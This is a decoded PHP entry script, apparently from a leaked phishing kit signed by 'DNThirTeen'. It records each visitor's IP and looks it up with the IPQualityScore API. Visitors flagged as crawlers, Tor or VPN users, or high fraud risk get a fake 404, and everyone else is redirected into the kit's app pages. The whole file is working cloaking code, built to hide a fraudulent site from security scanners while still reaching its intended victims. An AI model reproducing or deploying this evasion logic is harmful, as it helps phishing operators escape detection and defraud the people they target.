PHP Decode

<?php 
/* 
   .               . 
  .          . 
        
 ...   
.               
FuCkEd By [!]DNThirTeen 
https://www.facebook.com/groups/L34K.C0de/ 
*/ 
require 'extra/mine.php';	 
require 'extra/algo.php'; 
session_start(); 
$_SESSION["ip"] = clientData('ip'); 
	$ch=curl_init(); 
	curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false); 
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); 
	curl_setopt($ch,CURLOPT_URL,"https://www.ipqualityscore.com/api/json/ip/".$ip_protection_api."/".$_SESSION["ip"].""); 
	curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0); 
	curl_setopt($ch,CURLOPT_TIMEOUT,400); 
	$json=curl_exec($ch); 
$success = trim(strip_tags(get_string_between($json,'success":',',"'))); 
$isp = trim(strip_tags(get_string_between($json,'"ISP":"','","'))); 
$proxy = trim(strip_tags(get_string_between($json,'"proxy":',',"'))); 
$tor = trim(strip_tags(get_string_between($json,'"tor":',',"'))); 
$vpn = trim(strip_tags(get_string_between($json,'vpn":',',"'))); 
$is_crawler = trim(strip_tags(get_string_between($json,'is_crawler":',',"'))); 
$region = trim(strip_tags(get_string_between($json,'region":"','","'))); 
$city = trim(strip_tags(get_string_between($json,'city":"','","'))); 
$timezone = trim(strip_tags(get_string_between($json,'timezone":"','","'))); 
$fraud_score = trim(strip_tags(get_string_between($json,'fraud_score":',',"'))); 
$_SESSION['ip_city']=$region; 
$_SESSION['ip_state']=$city; 
$_SESSION['ip_timezone']=$timezone; 
if ($ip_protection=="yes") { 
if ($fraud_score >= "".$max_fraud_score.""|| $tor == "".$fuck_tor."" || $vpn == "".$fuck_vpn."" || $is_crawler == "".$fuck_crawler."" || $success == "false") { 
    exit(header('HTTP/1.0 404 Not Found')); 
} 
} 
$acsh33nz0key = base64_encode(time().sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']).md5(uniqid(rand(), true))); 
$_SESSION['acsh33nz0key'] = $acsh33nz0key; 
exit(header("Location: app/index")); 
?>